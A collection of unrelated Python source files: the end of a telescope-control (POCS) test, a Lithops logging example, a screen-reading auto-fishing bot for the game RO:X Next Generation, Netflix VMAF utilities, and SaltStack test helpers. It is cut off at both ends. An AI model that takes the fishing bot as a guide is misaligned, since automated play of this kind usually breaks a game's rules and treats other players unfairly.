initialized, back in test') pocs.observatory.scheduler.fields_list = [{'name': 'KIC 8462852', 'position': '20h06m15.4536s +44d27m24.75s', 'priority': '100', 'exp_time': 2, 'min_nexp': 1, 'exp_set_size': 1, }] pocs.run(exit_when_done=True, run_once=True) pocs.logger.info('run finished, powering down') pocs.power_down() pub = PanMessaging.create_publisher(6500) sub = PanMessaging.create_subscriber(6511) pocs_process = Process(target=start_pocs) pocs_process.start() while True: msg_type, msg_obj = sub.receive_message() if msg_type == 'STATUS': current_state = msg_obj.get('state', {}) if current_state == 'pointing': pub.send_message('POCS-CMD', 'shutdown') break pocs_process.join() assert pocs_process.is_alive() is False def test_run_power_down_interrupt(observatory): def start_pocs(): pocs = POCS(observatory, messaging=True) pocs.initialize() pocs.observatory.scheduler.fields_list = [{'name': 'KIC 8462852', 'position': '20h06m15.4536s +44d27m24.75s', 'priority': '100', 'exp_time': 2, 'min_nexp': 1, 'exp_set_size': 1, }] pocs.logger.info('Starting observatory run') pocs.run() pocs_process = Process(target=start_pocs) pocs_process.start() pub = PanMessaging.create_publisher(6500) sub = PanMessaging.create_subscriber(6511) while True: msg_type, msg_obj = sub.receive_message() if msg_type == 'STATUS': current_state = msg_obj.get('state', {}) if current_state == 'pointing': pub.send_message('POCS-CMD', 'shutdown') break pocs_process.join() assert pocs_process.is_alive() is False
remote_logs.py
import time import requests from lithops import multiprocessing as mp # import multiprocessing as mp def lithops_asciiart(): print(requests.get('https://artii.herokuapp.com/make', params={'text': 'Lithops', 'font': 'univers'}).text, flush=True) time.sleep(1) print('Exceptions will show up without the need to call Process.join():', flush=True) time.sleep(1) foo = bar # For using this functionality, a Redis instance is needed. Check the documentation for further instructions mp.config.set_parameter(mp.config.STREAM_STDOUT, True) # logging.basicConfig(level=logging.DEBUG) # logging.getLogger(mp.__name__).setLevel(logging.DEBUG) p = mp.Process(target=lithops_asciiart) p.start() time.sleep(3) p.join()
main.py
# -*- coding: utf-8 -*- import os import ctypes from threading import Thread import time import numpy as np import cv2 from mss import mss from win32api import GetSystemMetrics import config from repositories import detector_repo from repositories import fishing_repo from repositories import render_repo config.PID = os.getpid() config.SCREEN_WIDTH = int(GetSystemMetrics(0)) config.SCREEN_HEIGHT = int(GetSystemMetrics(1)) sct = mss() ctypes.windll.kernel32.SetConsoleTitleW( config.TITLE + ' ' + str(config.VERSION)) # Clear console os.system('cls' if os.name in ('nt', 'dos') else 'clear') print("RO:X Next Generation - Auto Fishing version %s" % config.VERSION) print("Made by Thanapat Maliphan. (fb.com/thanatos1995)\n") print("Screen resolution") print("width = ", config.SCREEN_WIDTH) print("height = ", config.SCREEN_HEIGHT) print("\nPress 'R' button to reset limit.") print("Press 'H' button to toggle fishing.") print("Press 'Q' button to exit program.\n") def main_function(): while True: # Reset when reaching the limit if config.COUNT - config.LIMIT == 0: fishing_repo.set_limit() # ดักปุ่มกด key = cv2.waitKey(25) # Press "R" button to Reset if key & 0xFF == ord('r'): fishing_repo.set_limit() # Press "H" button to Hold if key & 0xFF == ord('h'): config.HOLD ^= True # Press "Q" button to exit program if key & 0xFF == ord('q'): cv2.destroyAllWindows() break # เวลาปัจจุบัน config.CURRENT_TIME = time.time() # Crop render_repo.crop_screenshot(sct=sct) # แปลงสีภาพ config.FRAME = cv2.cvtColor( np.array(config.FRAME), cv2.COLOR_BGR2RGB) hsv_frame = cv2.cvtColor(config.FRAME, cv2.COLOR_BGR2HSV) # Detect green color detector = detector_repo.detect_green_color(hsv_frame=hsv_frame) # Render window render_repo.show(detector=detector) # ระยะเวลาที่ห่างจากการคลิกครั้งล่าสุด last_click_sec = config.CURRENT_TIME - config.LAST_CLICK_TIME # ตรวจจับพื้นที่สีเขียว if not config.HOLD and config.LOOP != 0: if cv2.countNonZero(detector["mask"]) > 0: # เขียวแล้ว if config.IS_FISHING and last_click_sec > 2: # รออย่างน้อย 2 วินาที เพื่อกดใหม่ fishing_repo.gotcha() else: # ยังไม่เขียว if not config.IS_FISHING and last_click_sec > 4 and config.COUNT > 0: # รอโยนเบ็ดครั้งถัดไปในอีก 4 วินาที fishing_repo.throw_fishing_rod() if __name__ == "__main__": thread = Thread(target=main_function) thread.start() thread.join()
misc.py
from fnmatch import fnmatch import multiprocessing import subprocess from time import sleep, time import itertools __copyright__ = "Copyright 2016-2018, Netflix, Inc." __license__ = "Apache, Version 2.0" import sys import os import re from vmaf.tools.scanf import sscanf, IncompleteCaptureError, FormatError def get_stdout_logger(): import logging logger = logging.getLogger() handler = logging.StreamHandler(stream=sys.stdout) logger.setLevel(logging.DEBUG) logger.addHandler(handler) return logger def close_logger(logger): for handler in logger.handlers: handler.close() logger.removeHandler(handler) def get_file_name_without_extension(path): """ >>> get_file_name_without_extension('yuv/src01_hrc01.yuv') 'src01_hrc01' >>> get_file_name_without_extension('yuv/src01_hrc01') 'src01_hrc01' >>> get_file_name_without_extension('abc/xyz/src01_hrc01.yuv') 'src01_hrc01' >>> get_file_name_without_extension('abc/xyz/src01_hrc01.sdr.yuv') 'src01_hrc01.sdr' >>> get_file_name_without_extension('abc/xyz/src01_hrc01.sdr.dvi.yuv') 'src01_hrc01.sdr.dvi' """ return os.path.splitext(path.split("/")[-1])[0] def get_file_name_with_extension(path): """ >>> get_file_name_with_extension('yuv/src01_hrc01.yuv') 'src01_hrc01.yuv' >>> get_file_name_with_extension('src01_hrc01.yuv') 'src01_hrc01.yuv' >>> get_file_name_with_extension('abc/xyz/src01_hrc01.yuv') 'src01_hrc01.yuv' """ return path.split("/")[-1] def get_file_name_extension(path): ''' >>> get_file_name_extension("file:///mnt/zli/test.txt") 'txt' >>> get_file_name_extension("test.txt") 'txt' >>> get_file_name_extension("abc") 'abc' ''' return path.split('.')[-1] def get_normalized_path(dir_): """ >>> get_normalized_path('abc/xyz/') 'abc/xyz' >>> get_normalized_path('abc/xyz') 'abc/xyz' >>> get_normalized_path('abc/xyz.txt') 'abc/xyz.txt' """ if dir_[-1] == '/': return dir_[:-1] else: return dir_ def get_dir_without_last_slash(path): """ >>> get_dir_without_last_slash('abc/src01_hrc01.yuv') 'abc' >>> get_dir_without_last_slash('src01_hrc01.yuv') '' >>> get_dir_without_last_slash('abc/xyz/src01_hrc01.yuv') 'abc/xyz' >>> get_dir_without_last_slash('abc/xyz/') 'abc/xyz' """ return "/".join(path.split("/")[:-1]) def make_parent_dirs_if_nonexist(path): dst_dir = get_dir_without_last_slash(path) # create dir if not exist yet if not os.path.exists(dst_dir): os.makedirs(dst_dir) def delete_dir_if_exists(dir): if os.path.isdir(dir): os.rmdir(dir) def get_normalized_string_from_dict(d): """ Normalized string representation with sorted keys. >>> get_normalized_string_from_dict({"max_buffer_sec": 5.0, "bitrate_kbps": 45, }) 'bitrate_kbps_45_max_buffer_sec_5.0' """ return '_'.join(map(lambda k: '{k}_{v}'.format(k=k,v=d[k]), sorted(d.keys()))) def get_hashable_value_tuple_from_dict(d): """ Hashable tuple of values with sorted keys. >>> get_hashable_value_tuple_from_dict({"max_buffer_sec": 5.0, "bitrate_kbps": 45, }) (45, 5.0) >>> get_hashable_value_tuple_from_dict({"max_buffer_sec": 5.0, "bitrate_kbps": 45, "resolutions": [(740, 480), (1920, 1080), ]}) (45, 5.0, ((740, 480), (1920, 1080))) """ return tuple(map( lambda k: tuple(d[k]) if isinstance(d[k], list) else d[k], sorted(d.keys()))) def get_unique_str_from_recursive_dict(d): """ String representation with sorted keys and values for recursive dict. >>> get_unique_str_from_recursive_dict({'a':1, 'b':2, 'c':{'x':'0', 'y':'1'}}) '{"a": 1, "b": 2, "c": {"x": "0", "y": "1"}}' >>> get_unique_str_from_recursive_dict({'a':1, 'c':2, 'b':{'y':'1', 'x':'0', }}) '{"a": 1, "b": {"x": "0", "y": "1"}, "c": 2}' """ from collections import OrderedDict import json def to_ordered_dict_recursively(d): if isinstance(d, dict): return OrderedDict(map( lambda (k,v): (to_ordered_dict_recursively(k), to_ordered_dict_recursively(v)), sorted(d.items()) )) else: return d return json.dumps(to_ordered_dict_recursively(d)) def indices(a, func): """ Get indices of elements in an array which satisfies func >>> indices([1, 2, 3, 4], lambda x: x>2) [2, 3] >>> indices([1, 2, 3, 4], lambda x: x==2.5) [] >>> indices([1, 2, 3, 4], lambda x: x>1 and x<=3) [1, 2] >>> indices([1, 2, 3, 4], lambda x: x in [2, 4]) [1, 3] >>> indices([1,2,3,1,2,3,1,2,3], lambda x: x > 2) [2, 5, 8] """ return [i for (i, val) in enumerate(a) if func(val)] def import_python_file(filepath): """ Import a python file as a module. :param filepath: :return: """ import imp filename = get_file_name_without_extension(filepath) ret = imp.load_source(filename, filepath) return ret def make_absolute_path(path, current_dir): ''' >>> make_absolute_path('abc/cde.fg', '/xyz/') '/xyz/abc/cde.fg' >>> make_absolute_path('/abc/cde.fg', '/xyz/') '/abc/cde.fg' ''' if path[0] == '/': return path else: return current_dir + path def empty_object(): return type('', (), {})() def get_cmd_option(argv, begin, end, option): ''' >>> get_cmd_option(['a', 'b', 'c', '--xyz', '123'], 3, 5, '--xyz') '123' >>> get_cmd_option(['a', 'b', 'c', '--xyz', '123'], 0, 5, '--xyz') '123' >>> get_cmd_option(['a', 'b', 'c', '--xyz', '123'], 4, 5, '--xyz') >>> get_cmd_option(['a', 'b', 'c', '--xyz', '123'], 5, 5, '--xyz') >>> get_cmd_option(['a', 'b', 'c', '--xyz', '123'], 6, 5, '--xyz') >>> get_cmd_option(['a', 'b', 'c', '--xyz', '123'], 0, 5, 'a') 'b' >>> get_cmd_option(['a', 'b', 'c', '--xyz', '123'], 0, 5, 'b') 'c' ''' itr = None for itr in range(begin, end): if argv[itr] == option: break if itr is not None and itr != end and (itr + 1) != end: return argv[itr + 1] return None def cmd_option_exists(argv, begin, end, option): ''' >>> cmd_option_exists(['a', 'b', 'c', 'd'], 2, 4, 'c') True >>> cmd_option_exists(['a', 'b', 'c', 'd'], 3, 4, 'c') False >>> cmd_option_exists(['a', 'b', 'c', 'd'], 3, 4, 'd') True >>> cmd_option_exists(['a', 'b', 'c', 'd'], 2, 4, 'a') False >>> cmd_option_exists(['a', 'b', 'c', 'd'], 2, 4, 'b') False ''' found = False for itr in range(begin, end): if argv[itr] == option: found = True break return found def index_and_value_of_min(l): ''' >>> index_and_value_of_min([2, 0, 3]) (1, 0) ''' return min(enumerate(l), key=lambda x: x[1]) def parallel_map(func, list_args, processes=None): """ Build my own parallelized map function since multiprocessing's Process(), or Pool.map() cannot meet my both needs: 1) be able to control the maximum number of processes in parallel 2) be able to take in non-picklable objects as arguments """ # get maximum number of active processes that can be used max_active_procs = processes if processes is not None else multiprocessing.cpu_count() # create shared dictionary return_dict = multiprocessing.Manager().dict() # define runner function def func_wrapper(idx_args): idx, args = idx_args executor = func(args) return_dict[idx] = executor # add idx to args list_idx_args = [] for idx, args in enumerate(list_args): list_idx_args.append((idx, args)) procs = [] for idx_args in list_idx_args: proc = multiprocessing.Process(target=func_wrapper, args=(idx_args,)) procs.append(proc) waiting_procs = set(procs) active_procs = set([]) # processing while True: # check if any procs in active_procs is done; if yes, remove them for p in active_procs.copy(): if not p.is_alive(): active_procs.remove(p) # check if can add a proc to active_procs (add gradually one per loop) if len(active_procs) < max_active_procs and len(waiting_procs) > 0: # move one proc from waiting_procs to active_procs p = waiting_procs.pop() active_procs.add(p) p.start() # if both waiting_procs and active_procs are empty, can terminate if len(waiting_procs) == 0 and len(active_procs) == 0: break sleep(0.01) # check every x sec # finally, collect results rets = map(lambda idx: return_dict[idx], range(len(list_args))) return rets def check_program_exist(program): ''' >>> check_program_exist("xxxafasd34df") False >>> check_program_exist("xxxafasd34df f899") False >>> check_program_exist("ls") True >>> check_program_exist("ls -all") True >>> check_program_exist("pwd") True ''' try: run_process(program.split(), stdout=open(os.devnull, 'wb')) return True except OSError as e: if e.errno == os.errno.ENOENT: return False else: # Something else went wrong while trying to run `wget` raise def check_scanf_match(string, template): ''' >>> check_scanf_match('frame00000000.icpf', 'frame%08d.icpf') True >>> check_scanf_match('frame00000003.icpf', 'frame%08d.icpf') True >>> check_scanf_match('frame0000001.icpf', 'frame%08d.icpf') True >>> check_scanf_match('frame00000001.icpff', 'frame%08d.icpf') True >>> check_scanf_match('gframe00000001.icpff', 'frame%08d.icpf') False >>> check_scanf_match('fyrame00000001.icpff', 'frame%08d.icpf') False >>> check_scanf_match('xx/yy/frame00000000.icpf', 'xx/yy/frame%08d.icpf') True >>> check_scanf_match('xx/yy//frame00000000.icpf', 'xx/yy/frame%08d.icpf') False >>> check_scanf_match('xx/yy/frame00000000.icpf', 'xx/yy//frame%08d.icpf') False >>> check_scanf_match("-1-2+3-4", "%02d%02d%02d%02d") True >>> check_scanf_match('frame00000240.icpf', 'frame%08d.icpf') True >>> check_scanf_match('/mnt/hgfs/ZLI-NFLX-10/USCJND/ref/1920x1080/videoSRC001_1920x1080_30.yuv.avi', '/mnt/hgfs/ZLI-NFLX-10/USCJND/ref/1920x1080/videoSRC001_1920x1080_*.yuv.avi') True ''' ret = False try: sscanf(string, template) return True except (FormatError, IncompleteCaptureError): pass if fnmatch(string, template): return True return False def match_any_files(template): dir_ = os.path.dirname(template) for filename in os.listdir(dir_): filepath = dir_ + '/' + filename if check_scanf_match(filepath, template): return True return False def run_process(cmd, **kwargs): ret = subprocess.call(cmd, **kwargs) assert ret == 0, 'Process returned {ret}, cmd: {cmd}'.format(ret=ret, cmd=cmd) return ret def unroll_dict_of_lists(dict_of_lists): """ Unfold a dictionary of lists into a list of dictionaries. >>> dict_of_lists = {'norm_type':['normalize'], 'n_estimators':[10, 50], 'random_state': [0]} >>> unroll_dict_of_lists(dict_of_lists) [{'n_estimators': 10, 'norm_type': 'normalize', 'random_state': 0}, {'n_estimators': 50, 'norm_type': 'normalize', 'random_state': 0}] """ keys = sorted(dict_of_lists.keys()) # normalize order list_of_key_value_pairs = [] for key in keys: values = dict_of_lists[key] key_value_pairs = [] for value in values: key_value_pairs.append((key, value)) list_of_key_value_pairs.append(key_value_pairs) list_of_key_value_pairs_rearranged = \ itertools.product(*list_of_key_value_pairs) list_of_dicts = [] for key_value_pairs in list_of_key_value_pairs_rearranged: list_of_dicts.append(dict(key_value_pairs)) return list_of_dicts def slugify(value): """ Normalizes string, converts to lowercase, removes non-alpha characters, and converts spaces to hyphens. """ import unicodedata value = unicodedata.normalize('NFKD', unicode(value)).encode('ascii', 'ignore') value = unicode(re.sub('[^\w\s-]', '', value).strip().lower()) value = unicode(re.sub('[-\s]+', '-', value)) return value def neg_if_even(x): """ >>> neg_if_even(2) -1 >>> neg_if_even(1) 1 >>> neg_if_even(0) -1 >>> neg_if_even(-1) 1 >>> neg_if_even(-2) -1 """ return 1 - (x % 2 == 0) * 2 def get_unique_sorted_list(l): """ >>> get_unique_sorted_list([3, 4, 4, 1]) [1, 3, 4] >>> get_unique_sorted_list([]) [] """ return sorted(list(set(l))) class Timer(object): def __enter__(self): self.tstart = time() def __exit__(self, type, value, traceback): print 'Elapsed: %s' % (time() - self.tstart) def dedup_value_in_dict(d): """ >>> dedup_value_in_dict({'a': 1, 'b': 1, 'c': 2}) {'a': 1, 'c': 2} """ reversed_d = dict() keys = sorted(d.keys()) for key in keys: value = d[key] if value not in reversed_d: reversed_d[value] = key d_ = dict() for value, key in reversed_d.iteritems(): d_[key] = value return d_ if __name__ == '__main__': import doctest doctest.testmod()
helpers.py
# -*- coding: utf-8 -*- """ :copyright: Copyright 2013-2017 by the SaltStack Team, see AUTHORS for more details. :license: Apache 2.0, see LICENSE for more details. tests.support.helpers ~~~~~~~~~~~~~~~~~~~~~ Test support helpers """ # pylint: disable=repr-flag-used-in-string,wrong-import-order from __future__ import absolute_import, print_function, unicode_literals import base64 import errno import fnmatch import functools import inspect import logging import os import random import shutil import socket import string import subprocess import sys import tempfile import textwrap import threading import time import types from contextlib import contextmanager import pytest import salt.ext.tornado.ioloop import salt.ext.tornado.web import salt.utils.files import salt.utils.platform import salt.utils.stringutils import salt.utils.versions from pytestsalt.utils import get_unused_localhost_port from salt.ext import six from salt.ext.six.moves import builtins, range from tests.support.mock import patch from tests.support.runtests import RUNTIME_VARS from tests.support.sminion import create_sminion from tests.support.unit import SkipTest, _id, skip log = logging.getLogger(__name__) HAS_SYMLINKS = None PRE_PYTEST_SKIP_OR_NOT = "PRE_PYTEST_DONT_SKIP" not in os.environ PRE_PYTEST_SKIP_REASON = ( "PRE PYTEST - This test was skipped before running under pytest" ) PRE_PYTEST_SKIP = pytest.mark.skipif( PRE_PYTEST_SKIP_OR_NOT, reason=PRE_PYTEST_SKIP_REASON ) def no_symlinks(): """ Check if git is installed and has symlinks enabled in the configuration. """ global HAS_SYMLINKS if HAS_SYMLINKS is not None: return not HAS_SYMLINKS output = "" try: output = subprocess.Popen( ["git", "config", "--get", "core.symlinks"], cwd=RUNTIME_VARS.TMP, stdout=subprocess.PIPE, ).communicate()[0] except OSError as exc: if exc.errno != errno.ENOENT: raise except subprocess.CalledProcessError: # git returned non-zero status pass HAS_SYMLINKS = False if output.strip() == "true": HAS_SYMLINKS = True return not HAS_SYMLINKS def destructiveTest(caller): """ Mark a test case as a destructive test for example adding or removing users from your system. .. code-block:: python class MyTestCase(TestCase): @destructiveTest def test_create_user(self): pass """ # Late import from tests.support.runtests import RUNTIME_VARS if RUNTIME_VARS.PYTEST_SESSION: setattr(caller, "__destructive_test__", True) if inspect.isclass(caller): # We're decorating a class old_setup = getattr(caller, "setUp", None) def setUp(self, *args, **kwargs): if os.environ.get("DESTRUCTIVE_TESTS", "False").lower() == "false": self.skipTest("Destructive tests are disabled") if old_setup is not None: old_setup(self, *args, **kwargs) caller.setUp = setUp return caller # We're simply decorating functions @functools.wraps(caller) def wrap(cls): if os.environ.get("DESTRUCTIVE_TESTS", "False").lower() == "false": cls.skipTest("Destructive tests are disabled") return caller(cls) return wrap def expensiveTest(caller): """ Mark a test case as an expensive test, for example, a test which can cost money(Salt's cloud provider tests). .. code-block:: python class MyTestCase(TestCase): @expensiveTest def test_create_user(self): pass """ # Late import from tests.support.runtests import RUNTIME_VARS if RUNTIME_VARS.PYTEST_SESSION: setattr(caller, "__expensive_test__", True) if inspect.isclass(caller): # We're decorating a class old_setup = getattr(caller, "setUp", None) def setUp(self, *args, **kwargs): if os.environ.get("EXPENSIVE_TESTS", "False").lower() == "false": self.skipTest("Expensive tests are disabled") if old_setup is not None: old_setup(self, *args, **kwargs) caller.setUp = setUp return caller # We're simply decorating functions @functools.wraps(caller) def wrap(cls): if os.environ.get("EXPENSIVE_TESTS", "False").lower() == "false": cls.skipTest("Expensive tests are disabled") return caller(cls) return wrap def flaky(caller=None, condition=True, attempts=4): """ Mark a test as flaky. The test will attempt to run five times, looking for a successful run. After an immediate second try, it will use an exponential backoff starting with one second. .. code-block:: python class MyTestCase(TestCase): @flaky def test_sometimes_works(self): pass """ if caller is None: return functools.partial(flaky, condition=condition, attempts=attempts) if isinstance(condition, bool) and condition is False: # Don't even decorate return caller elif callable(condition): if condition() is False: # Don't even decorate return caller if inspect.isclass(caller): attrs = [n for n in dir(caller) if n.startswith("test_")] for attrname in attrs: try: function = getattr(caller, attrname) if not inspect.isfunction(function) and not inspect.ismethod(function): continue setattr( caller, attrname, flaky(caller=function, condition=condition, attempts=attempts), ) except Exception as exc: # pylint: disable=broad-except log.exception(exc) continue return caller @functools.wraps(caller) def wrap(cls): for attempt in range(0, attempts): try: if attempt > 0: # Run through setUp again # We only run it after the first iteration(>0) because the regular # test runner will have already ran setUp the first time setup = getattr(cls, "setUp", None) if callable(setup): setup() return caller(cls) except SkipTest as exc: cls.skipTest(exc.args[0]) except Exception as exc: # pylint: disable=broad-except exc_info = sys.exc_info() if isinstance(exc, SkipTest): six.reraise(*exc_info) if not isinstance(exc, AssertionError) and log.isEnabledFor( logging.DEBUG ): log.exception(exc, exc_info=exc_info) if attempt >= attempts - 1: # We won't try to run tearDown once the attempts are exhausted # because the regular test runner will do that for us six.reraise(*exc_info) # Run through tearDown again teardown = getattr(cls, "tearDown", None) if callable(teardown): teardown() backoff_time = attempt ** 2 log.info("Found Exception. Waiting %s seconds to retry.", backoff_time) time.sleep(backoff_time) return cls return wrap def requires_sshd_server(caller): """ Mark a test as requiring the tests SSH daemon running. .. code-block:: python class MyTestCase(TestCase): @requiresSshdServer def test_create_user(self): pass """ if inspect.isclass(caller): # We're decorating a class old_setup = getattr(caller, "setUp", None) def setUp(self, *args, **kwargs): if os.environ.get("SSH_DAEMON_RUNNING", "False").lower() == "false": self.skipTest("SSH tests are disabled") if old_setup is not None: old_setup(self, *args, **kwargs) caller.setUp = setUp return caller # We're simply decorating functions @functools.wraps(caller) def wrap(cls): if os.environ.get("SSH_DAEMON_RUNNING", "False").lower() == "false": cls.skipTest("SSH tests are disabled") return caller(cls) return wrap class RedirectStdStreams(object): """ Temporarily redirect system output to file like objects. Default is to redirect to `os.devnull`, which just mutes output, `stdout` and `stderr`. """ def __init__(self, stdout=None, stderr=None): # Late import import salt.utils.files if stdout is None: # pylint: disable=resource-leakage stdout = salt.utils.files.fopen(os.devnull, "w") # pylint: enable=resource-leakage if stderr is None: # pylint: disable=resource-leakage stderr = salt.utils.files.fopen(os.devnull, "w") # pylint: enable=resource-leakage self.__stdout = stdout self.__stderr = stderr self.__redirected = False self.patcher = patch.multiple(sys, stderr=self.__stderr, stdout=self.__stdout) def __enter__(self): self.redirect() return self def __exit__(self, exc_type, exc_value, traceback): self.unredirect() def redirect(self): self.old_stdout = sys.stdout self.old_stdout.flush() self.old_stderr = sys.stderr self.old_stderr.flush() self.patcher.start() self.__redirected = True def unredirect(self): if not self.__redirected: return try: self.__stdout.flush() self.__stdout.close() except ValueError: # already closed? pass try: self.__stderr.flush() self.__stderr.close() except ValueError: # already closed? pass self.patcher.stop() def flush(self): if self.__redirected: try: self.__stdout.flush() except Exception: # pylint: disable=broad-except pass try: self.__stderr.flush() except Exception: # pylint: disable=broad-except pass class TstSuiteLoggingHandler(object): """ Simple logging handler which can be used to test if certain logging messages get emitted or not: .. code-block:: python with TstSuiteLoggingHandler() as handler: # (...) Do what ever you wish here handler.messages # here are the emitted log messages """ def __init__(self, level=0, format="%(levelname)s:%(message)s"): self.level = level self.format = format self.activated = False self.prev_logging_level = None def activate(self): class Handler(logging.Handler): def __init__(self, level): logging.Handler.__init__(self, level) self.messages = [] def emit(self, record): self.messages.append(self.format(record)) self.handler = Handler(self.level) formatter = logging.Formatter(self.format) self.handler.setFormatter(formatter) logging.root.addHandler(self.handler) self.activated = True # Make sure we're running with the lowest logging level with our # tests logging handler current_logging_level = logging.root.getEffectiveLevel() if current_logging_level > logging.DEBUG: self.prev_logging_level = current_logging_level logging.root.setLevel(0) def deactivate(self): if not self.activated: return logging.root.removeHandler(self.handler) # Restore previous logging level if changed if self.prev_logging_level is not None: logging.root.setLevel(self.prev_logging_level) @property def messages(self): if not self.activated: return [] return self.handler.messages def clear(self): self.handler.messages = [] def __enter__(self): self.activate() return self def __exit__(self, type, value, traceback): self.deactivate() self.activated = False # Mimic some handler attributes and methods @property def lock(self): if self.activated: return self.handler.lock def createLock(self): if self.activated: return self.handler.createLock() def acquire(self): if self.activated: return self.handler.acquire() def release(self): if self.activated: return self.handler.release() class ForceImportErrorOn(object): """ This class is meant to be used in mock'ed test cases which require an ``ImportError`` to be raised. >>> import os.path >>> with ForceImportErrorOn('os.path'): ... import os.path ... Traceback (most recent call last): File "<stdin>", line 2, in <module> File "salttesting/helpers.py", line 263, in __import__ 'Forced ImportError raised for {0!r}'.format(name) ImportError: Forced ImportError raised for 'os.path' >>> >>> with ForceImportErrorOn(('os', 'path')): ... import os.path ... sys.modules.pop('os', None) ... from os import path ... <module 'os' from '/usr/lib/python2.7/os.pyc'> Traceback (most recent call last): File "<stdin>", line 4, in <module> File "salttesting/helpers.py", line 288, in __fake_import__ name, ', '.join(fromlist) ImportError: Forced ImportError raised for 'from os import path' >>> >>> with ForceImportErrorOn(('os', 'path'), 'os.path'): ... import os.path ... sys.modules.pop('os', None) ... from os import path ... Traceback (most recent call last): File "<stdin>", line 2, in <module> File "salttesting/helpers.py", line 281, in __fake_import__ 'Forced ImportError raised for {0!r}'.format(name) ImportError: Forced ImportError raised for 'os.path' >>> """ def __init__(self, *module_names): self.__module_names = {} for entry in module_names: if isinstance(entry, (list, tuple)): modname = entry[0] self.__module_names[modname] = set(entry[1:]) else: self.__module_names[entry] = None self.__original_import = builtins.__import__ self.patcher = patch.object(builtins, "__import__", self.__fake_import__) def patch_import_function(self): self.patcher.start() def restore_import_funtion(self): self.patcher.stop() def __fake_import__( self, name, globals_=None, locals_=None, fromlist=None, level=None ): if six.PY2: if globals_ is None: globals_ = {} if locals_ is None: locals_ = {} if level is None: if six.PY2: level = -1 else: level = 0 if fromlist is None: fromlist = [] if name in self.__module_names: importerror_fromlist = self.__module_names.get(name) if importerror_fromlist is None: raise ImportError("Forced ImportError raised for {0!r}".format(name)) if importerror_fromlist.intersection(set(fromlist)): raise ImportError( "Forced ImportError raised for {0!r}".format( "from {0} import {1}".format(name, ", ".join(fromlist)) ) ) return self.__original_import(name, globals_, locals_, fromlist, level) def __enter__(self): self.patch_import_function() return self def __exit__(self, exc_type, exc_value, traceback): self.restore_import_funtion() class MockWraps(object): """ Helper class to be used with the mock library. To be used in the ``wraps`` keyword of ``Mock`` or ``MagicMock`` where you want to trigger a side effect for X times, and afterwards, call the original and un-mocked method. As an example: >>> def original(): ... print 'original' ... >>> def side_effect(): ... print 'side effect' ... >>> mw = MockWraps(original, 2, side_effect) >>> mw() side effect >>> mw() side effect >>> mw() original >>> """ def __init__(self, original, expected_failures, side_effect): self.__original = original self.__expected_failures = expected_failures self.__side_effect = side_effect self.__call_counter = 0 def __call__(self, *args, **kwargs): try: if self.__call_counter < self.__expected_failures: if isinstance(self.__side_effect, types.FunctionType): return self.__side_effect() raise self.__side_effect return self.__original(*args, **kwargs) finally: self.__call_counter += 1 def requires_network(only_local_network=False): """ Simple decorator which is supposed to skip a test case in case there's no network connection to the internet. """ def decorator(func): @functools.wraps(func) def wrapper(cls): has_local_network = False # First lets try if we have a local network. Inspired in # verify_socket try: pubsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) retsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) pubsock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) pubsock.bind(("", 18000)) pubsock.close() retsock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) retsock.bind(("", 18001)) retsock.close() has_local_network = True except socket.error: # I wonder if we just have IPV6 support? try: pubsock = socket.socket(socket.AF_INET6, socket.SOCK_STREAM) retsock = socket.socket(socket.AF_INET6, socket.SOCK_STREAM) pubsock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) pubsock.bind(("", 18000)) pubsock.close() retsock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) retsock.bind(("", 18001)) retsock.close() has_local_network = True except socket.error: # Let's continue pass if only_local_network is True: if has_local_network is False: # Since we're only supposed to check local network, and no # local network was detected, skip the test cls.skipTest("No local network was detected") return func(cls) if os.environ.get("NO_INTERNET"): cls.skipTest("Environment variable NO_INTERNET is set.") # We are using the google.com DNS records as numerical IPs to avoid # DNS lookups which could greatly slow down this check for addr in ( "173.194.41.198", "173.194.41.199", "173.194.41.200", "173.194.41.201", "173.194.41.206", "173.194.41.192", "173.194.41.193", "173.194.41.194", "173.194.41.195", "173.194.41.196", "173.194.41.197", ): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: sock.settimeout(0.25) sock.connect((addr, 80)) # We connected? Stop the loop break except socket.error: # Let's check the next IP continue else: cls.skipTest("No internet network connection was detected") finally: sock.close() return func(cls) return wrapper return decorator def with_system_user( username, on_existing="delete", delete=True, password=None, groups=None ): """ Create and optionally destroy a system user to be used within a test case. The system user is created using the ``user`` salt module. The decorated testcase function must accept 'username' as an argument. :param username: The desired username for the system user. :param on_existing: What to do when the desired username is taken. The available options are: * nothing: Do nothing, act as if the user was created. * delete: delete and re-create the existing user * skip: skip the test case """ if on_existing not in ("nothing", "delete", "skip"): raise RuntimeError( "The value of 'on_existing' can only be one of, " "'nothing', 'delete' and 'skip'" ) if not isinstance(delete, bool): raise RuntimeError("The value of 'delete' can only be 'True' or 'False'") def decorator(func): @functools.wraps(func) def wrap(cls): # Let's add the user to the system. log.debug("Creating system user {0!r}".format(username)) kwargs = {"timeout": 60, "groups": groups} if salt.utils.platform.is_windows(): kwargs.update({"password": password}) create_user = cls.run_function("user.add", [username], **kwargs) if not create_user: log.debug("Failed to create system user") # The user was not created if on_existing == "skip": cls.skipTest("Failed to create system user {0!r}".format(username)) if on_existing == "delete": log.debug("Deleting the system user {0!r}".format(username)) delete_user = cls.run_function( "user.delete", [username, True, True] ) if not delete_user: cls.skipTest( "A user named {0!r} already existed on the " "system and re-creating it was not possible".format( username ) ) log.debug("Second time creating system user {0!r}".format(username)) create_user = cls.run_function("user.add", [username], **kwargs) if not create_user: cls.skipTest( "A user named {0!r} already existed, was deleted " "as requested, but re-creating it was not possible".format( username ) ) failure = None try: try: return func(cls, username) except Exception as exc: # pylint: disable=W0703 log.error( "Running {0!r} raised an exception: {1}".format(func, exc), exc_info=True, ) # Store the original exception details which will be raised # a little further down the code failure = sys.exc_info() finally: if delete: delete_user = cls.run_function( "user.delete", [username, True, True], timeout=60 ) if not delete_user: if failure is None: log.warning( "Although the actual test-case did not fail, " "deleting the created system user {0!r} " "afterwards did.".format(username) ) else: log.warning( "The test-case failed and also did the removal" " of the system user {0!r}".format(username) ) if failure is not None: # If an exception was thrown, raise it six.reraise(failure[0], failure[1], failure[2]) return wrap return decorator def with_system_group(group, on_existing="delete", delete=True): """ Create and optionally destroy a system 